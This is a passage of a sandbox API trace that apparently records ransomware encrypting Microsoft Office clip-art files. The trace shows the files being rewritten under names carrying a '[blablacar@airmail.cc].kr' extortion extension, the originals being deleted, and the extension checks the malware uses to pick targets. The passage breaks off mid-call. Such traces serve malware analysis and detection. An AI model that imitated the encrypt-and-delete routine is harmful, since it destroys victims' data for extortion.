[0107.601] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04134_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0107.601] GetLastError () returned 0x0 [0107.601] ReadFile (in: hFile=0x368, lpBuffer=0x327d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x296fecc, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesRead=0x296fecc*=0xd58, lpOverlapped=0x0) returned 1 [0107.917] WriteFile (in: hFile=0x338, lpBuffer=0x327d020*, nNumberOfBytesToWrite=0xd60, lpNumberOfBytesWritten=0x296fc94, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesWritten=0x296fc94*=0xd60, lpOverlapped=0x0) returned 1 [0107.918] ReadFile (in: hFile=0x368, lpBuffer=0x327d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x296fecc, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesRead=0x296fecc*=0x0, lpOverlapped=0x0) returned 1 [0107.918] WriteFile (in: hFile=0x338, lpBuffer=0x327d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x296fc94, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesWritten=0x296fc94*=0xec, lpOverlapped=0x0) returned 1 [0107.919] SetEndOfFile (hFile=0x338) returned 1 [0108.332] CloseHandle (hObject=0x338) returned 1 [0108.356] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x296fec0 | out: lpNewFilePointer=0x0) returned 1 [0108.356] SetEndOfFile (hFile=0x368) returned 1 [0108.357] CloseHandle (hObject=0x368) returned 1 [0108.357] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0108.358] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04134_.wmf")) returned 1 [0108.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68 [0108.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68 [0108.358] lstrlenW (lpString=".doc") returned 4 [0108.358] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0108.358] lstrlenW (lpString=".docx") returned 5 [0108.358] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0108.358] lstrlenW (lpString=".pdf") returned 4 [0108.358] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0108.358] lstrlenW (lpString=".xls") returned 4 [0108.358] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0108.358] lstrlenW (lpString=".xlsx") returned 5 [0108.359] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0108.359] lstrlenW (lpString=".ppt") returned 4 [0108.359] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0108.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68 [0108.359] lstrlenW (lpString=".zip") returned 4 [0108.359] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0108.359] lstrlenW (lpString=".rar") returned 4 [0108.359] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0108.359] lstrlenW (lpString=".bz2") returned 4 [0108.359] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0108.359] lstrlenW (lpString=".7z") returned 3 [0108.359] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0108.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68 [0108.359] lstrlenW (lpString=".dbf") returned 4 [0108.359] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0108.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68 [0108.359] lstrlenW (lpString=".1cd") returned 4 [0108.359] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0108.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68 [0108.359] lstrlenW (lpString=".jpg") returned 4 [0108.359] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0108.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68 [0108.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68 [0108.359] lstrlenW (lpString=".doc") returned 4 [0108.359] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0108.360] lstrlenW (lpString=".docx") returned 5 [0108.360] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0108.360] lstrlenW (lpString=".pdf") returned 4 [0108.360] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0108.360] lstrlenW (lpString=".xls") returned 4 [0108.360] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0108.360] lstrlenW (lpString=".xlsx") returned 5 [0108.360] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0108.360] lstrlenW (lpString=".ppt") returned 4 [0108.360] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0108.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68 [0108.360] lstrlenW (lpString=".zip") returned 4 [0108.360] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0108.360] lstrlenW (lpString=".rar") returned 4 [0108.360] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0108.360] lstrlenW (lpString=".bz2") returned 4 [0108.360] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0108.360] lstrlenW (lpString=".7z") returned 3 [0108.360] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0108.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68 [0108.360] lstrlenW (lpString=".dbf") returned 4 [0108.360] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0108.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68 [0108.360] lstrlenW (lpString=".1cd") returned 4 [0108.360] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0108.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68 [0108.360] lstrlenW (lpString=".jpg") returned 4 [0108.361] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0108.361] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0108.361] lstrlenW (lpString="AN04332_.WMF") returned 12 [0108.361] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04332_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0108.361] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x296ff14 | out: lpFileSize=0x296ff14*=4296) returned 1 [0108.361] CloseHandle (hObject=0x368) returned 1 [0108.361] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04332_.wmf")) returned 0x220 [0108.361] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04332_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0108.362] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04332_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0108.362] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x296fec0 | out: lpNewFilePointer=0x0) returned 1 [0108.362] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x296fec0 | out: lpNewFilePointer=0x0) returned 1 [0108.362] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04332_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0108.363] GetLastError () returned 0x0 [0108.363] ReadFile (in: hFile=0x368, lpBuffer=0x327d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x296fecc, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesRead=0x296fecc*=0x10c8, lpOverlapped=0x0) returned 1 [0108.365] WriteFile (in: hFile=0x338, lpBuffer=0x327d020*, nNumberOfBytesToWrite=0x10d0, lpNumberOfBytesWritten=0x296fc94, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesWritten=0x296fc94*=0x10d0, lpOverlapped=0x0) returned 1 [0108.366] ReadFile (in: hFile=0x368, lpBuffer=0x327d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x296fecc, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesRead=0x296fecc*=0x0, lpOverlapped=0x0) returned 1 [0108.366] WriteFile (in: hFile=0x338, lpBuffer=0x327d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x296fc94, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesWritten=0x296fc94*=0xec, lpOverlapped=0x0) returned 1 [0108.366] SetEndOfFile (hFile=0x338) returned 1 [0108.366] CloseHandle (hObject=0x338) returned 1 [0108.371] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x296fec0 | out: lpNewFilePointer=0x0) returned 1 [0108.371] SetEndOfFile (hFile=0x368) returned 1 [0108.372] CloseHandle (hObject=0x368) returned 1 [0108.372] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0108.372] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04332_.wmf")) returned 1 [0108.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 68 [0108.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 68 [0108.373] lstrlenW (lpString=".doc") returned 4 [0108.373] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0108.373] lstrlenW (lpString=".docx") returned 5 [0108.373] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0108.373] lstrlenW (lpString=".pdf") returned 4 [0108.373] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0108.373] lstrlenW (lpString=".xls") returned 4 [0108.373] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0108.373] lstrlenW (lpString=".xlsx") returned 5 [0108.373] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0108.373] lstrlenW (lpString=".ppt") returned 4 [0108.373] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0108.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 68 [0108.373] lstrlenW (lpString=".zip") returned 4 [0108.373] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0108.373] lstrlenW (lpString=".rar") returned 4 [0108.373] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0108.374] lstrlenW (lpString=".bz2") returned 4 [0108.374] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0108.374] lstrlenW (lpString=".7z") returned 3 [0108.374] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0108.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 68 [0108.374] lstrlenW (lpString=".dbf") returned 4 [0108.374] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0108.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 68 [0108.374] lstrlenW (lpString=".1cd") returned 4 [0108.374] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0108.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 68 [0108.374] lstrlenW (lpString=".jpg") returned 4 [0108.374] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0108.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 68 [0108.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 68 [0108.374] lstrlenW (lpString=".doc") returned 4 [0108.374] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0108.374] lstrlenW (lpString=".docx") returned 5 [0108.374] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0108.374] lstrlenW (lpString=".pdf") returned 4 [0108.374] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0108.374] lstrlenW (lpString=".xls") returned 4 [0108.374] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0108.374] lstrlenW (lpString=".xlsx") returned 5 [0108.374] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0108.375] lstrlenW (lpString=".ppt") returned 4 [0108.375] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0108.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 68 [0108.375] lstrlenW (lpString=".zip") returned 4 [0108.375] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0108.375] lstrlenW (lpString=".rar") returned 4 [0108.375] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0108.375] lstrlenW (lpString=".bz2") returned 4 [0108.375] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0108.375] lstrlenW (lpString=".7z") returned 3 [0108.375] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0108.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 68 [0108.375] lstrlenW (lpString=".dbf") returned 4 [0108.375] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0108.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 68 [0108.375] lstrlenW (lpString=".1cd") returned 4 [0108.375] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0108.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 68 [0108.375] lstrlenW (lpString=".jpg") returned 4 [0108.375] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0108.375] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0108.375] lstrlenW (lpString="AN04355_.WMF") returned 12 [0108.376] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04355_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0108.376] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x296ff14 | out: lpFileSize=0x296ff14*=3228) returned 1 [0108.376] CloseHandle (hObject=0x368) returned 1 [0108.376] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04355_.wmf")) returned 0x220 [0108.376] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04355_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0108.376] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04355_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0108.377] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x296fec0 | out: lpNewFilePointer=0x0) returned 1 [0108.377] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x296fec0 | out: lpNewFilePointer=0x0) returned 1 [0108.377] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04355_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0108.377] GetLastError () returned 0x0 [0108.377] ReadFile (in: hFile=0x368, lpBuffer=0x327d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x296fecc, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesRead=0x296fecc*=0xc9c, lpOverlapped=0x0) returned 1 [0108.429] WriteFile (in: hFile=0x338, lpBuffer=0x327d020*, nNumberOfBytesToWrite=0xca0, lpNumberOfBytesWritten=0x296fc94, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesWritten=0x296fc94*=0xca0, lpOverlapped=0x0) returned 1 [0108.430] ReadFile (in: hFile=0x368, lpBuffer=0x327d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x296fecc, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesRead=0x296fecc*=0x0, lpOverlapped=0x0) returned 1 [0108.430] WriteFile (in: hFile=0x338, lpBuffer=0x327d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x296fc94, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesWritten=0x296fc94*=0xec, lpOverlapped=0x0) returned 1 [0108.431] SetEndOfFile (hFile=0x338) returned 1 [0108.431] CloseHandle (hObject=0x338) returned 1 [0108.432] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x296fec0 | out: lpNewFilePointer=0x0) returned 1 [0108.432] SetEndOfFile (hFile=0x368) returned 1 [0108.433] CloseHandle (hObject=0x368) returned 1 [0108.433] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0108.434] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04355_.wmf")) returned 1 [0108.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 68 [0108.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 68 [0108.434] lstrlenW (lpString=".doc") returned 4 [0108.434] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0108.434] lstrlenW (lpString=".docx") returned 5 [0108.434] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0108.434] lstrlenW (lpString=".pdf") returned 4 [0108.434] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0108.434] lstrlenW (lpString=".xls") returned 4 [0108.434] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0108.434] lstrlenW (lpString=".xlsx") returned 5 [0108.434] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0108.435] lstrlenW (lpString=".ppt") returned 4 [0108.435] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0108.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 68 [0108.435] lstrlenW (lpString=".zip") returned 4 [0108.435] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0108.435] lstrlenW (lpString=".rar") returned 4 [0108.435] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0108.435] lstrlenW (lpString=".bz2") returned 4 [0108.435] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0108.435] lstrlenW (lpString=".7z") returned 3 [0108.435] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0108.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 68 [0108.435] lstrlenW (lpString=".dbf") returned 4 [0108.435] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0108.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 68 [0108.435] lstrlenW (lpString=".1cd") returned 4 [0108.435] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0108.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 68 [0108.435] lstrlenW (lpString=".jpg") returned 4 [0108.435] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0108.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 68 [0108.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 68 [0108.435] lstrlenW (lpString=".doc") returned 4 [0108.435] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0108.435] lstrlenW (lpString=".docx") returned 5 [0108.436] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0108.436] lstrlenW (lpString=".pdf") returned 4 [0108.436] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0108.436] lstrlenW (lpString=".xls") returned 4 [0108.436] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0108.436] lstrlenW (lpString=".xlsx") returned 5 [0108.436] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0108.436] lstrlenW (lpString=".ppt") returned 4 [0108.436] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0108.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 68 [0108.436] lstrlenW (lpString=".zip") returned 4 [0108.436] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0108.436] lstrlenW (lpString=".rar") returned 4 [0108.436] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0108.436] lstrlenW (lpString=".bz2") returned 4 [0108.436] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0108.436] lstrlenW (lpString=".7z") returned 3 [0108.436] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0108.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 68 [0108.436] lstrlenW (lpString=".dbf") returned 4 [0108.436] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0108.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 68 [0108.436] lstrlenW (lpString=".1cd") returned 4 [0108.436] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0108.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 68 [0108.436] lstrlenW (lpString=".jpg") returned 4 [0108.436] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0108.437] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0108.437] lstrlenW (lpString="AN04369_.WMF") returned 12 [0108.437] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04369_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0108.833] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x296ff14 | out: lpFileSize=0x296ff14*=4808) returned 1 [0108.833] CloseHandle (hObject=0x368) returned 1 [0108.833] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04369_.wmf")) returned 0x220 [0108.833] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04369_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0108.833] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04369_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0108.833] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x296fec0 | out: lpNewFilePointer=0x0) returned 1 [0108.833] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x296fec0 | out: lpNewFilePointer=0x0) returned 1 [0108.834] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04369_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0109.533] GetLastError () returned 0x0 [0109.533] ReadFile (in: hFile=0x368, lpBuffer=0x327d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x296fecc, 